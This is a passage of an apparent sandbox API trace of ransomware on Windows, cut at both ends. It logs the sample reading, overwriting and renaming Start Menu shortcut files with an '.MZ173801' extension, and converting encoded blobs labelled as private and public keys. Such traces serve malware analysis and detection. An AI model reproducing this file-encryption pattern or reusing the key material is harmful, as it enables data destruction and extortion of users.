ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4382ea4e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 1 [0190.625] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0190.625] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0190.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4382ea4e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452)) returned 1 [0190.626] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk")) returned 0x20 [0190.626] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk", dwFileAttributes=0x80) returned 1 [0190.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0190.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24c58fc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0190.942] GetCurrentThreadId () returned 0xab4 [0190.942] GetCurrentThreadId () returned 0xab4 [0190.942] GetCurrentThreadId () returned 0xab4 [0190.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0190.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24d695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0190.942] GetCurrentThreadId () returned 0xab4 [0190.943] GetCurrentThreadId () returned 0xab4 [0190.943] GetCurrentThreadId () returned 0xab4 [0190.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0190.943] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0190.943] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0190.943] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x452 [0190.943] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0190.943] ReadFile (in: hFile=0x330, lpBuffer=0x24de760, nNumberOfBytesToRead=0x452, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24de760*, lpNumberOfBytesRead=0x19f480*=0x452, lpOverlapped=0x0) returned 1 [0190.945] CloseHandle (hObject=0x330) returned 1 [0190.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0191.520] WriteFile (in: hFile=0x330, lpBuffer=0x24e0790*, nNumberOfBytesToWrite=0x452, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24e0790*, lpNumberOfBytesWritten=0x19f48c*=0x452, lpOverlapped=0x0) returned 1 [0191.522] CloseHandle (hObject=0x330) returned 1 [0191.669] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk.mz173801")) returned 1 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] GetCurrentThreadId () returned 0xab4 [0192.031] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4382ea4e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 0 [0192.031] GetLastError () returned 0x12 [0192.031] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0192.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9c61c38e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9c61c38e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0192.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0192.032] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.032] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9c61c38e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9c61c38e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0192.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0192.032] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.032] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0192.032] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9a5ec698, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Magnify.lnk.MZ173801", cAlternateFileName="MAGNIF~1.MZ1")) returned 1 [0192.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0192.032] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.032] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9b5b8097, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x19f614, dwReserved1=0x77a601e9, 